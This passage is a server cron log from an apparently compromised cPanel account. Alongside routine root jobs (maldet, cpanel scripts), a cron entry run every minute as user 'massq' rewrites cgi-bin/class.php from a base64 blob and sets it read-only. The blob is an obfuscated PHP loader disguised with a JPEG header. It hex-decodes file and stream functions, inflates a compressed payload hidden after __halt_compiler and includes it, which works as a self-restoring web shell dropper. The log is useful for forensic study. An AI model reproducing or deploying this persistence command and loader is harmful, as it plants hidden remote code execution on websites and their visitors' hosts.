g1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:55:01 server CROND[23171]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 22:56:01 server CROND[23381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:57:01 server CROND[23470]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 22:57:01 server CROND[23471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:58:01 server CROND[23542]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:59:01 server CROND[23606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:00:01 server CROND[23678]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 23:00:01 server CROND[23679]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 23:00:01 server CROND[23680]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 23:00:01 server CROND[23681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:01:01 server CROND[23811]: (root) CMD (run-parts /etc/cron.hourly)
Apr  6 23:01:01 server CROND[23812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:01:01 server run-parts(/etc/cron.hourly)[23811]: starting 0anacron
Apr  6 23:01:01 server run-parts(/etc/cron.hourly)[23824]: finished 0anacron
Apr  6 23:02:01 server CROND[23983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:03:01 server CROND[24028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:04:01 server CROND[24083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:05:01 server CROND[24153]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  6 23:05:01 server CROND[24154]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 23:05:01 server CROND[24156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:05:01 server CROND[24157]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 23:05:01 server CROND[24155]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 23:06:01 server CROND[24295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:07:01 server CROND[24358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 23:08:02 server CROND[24529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
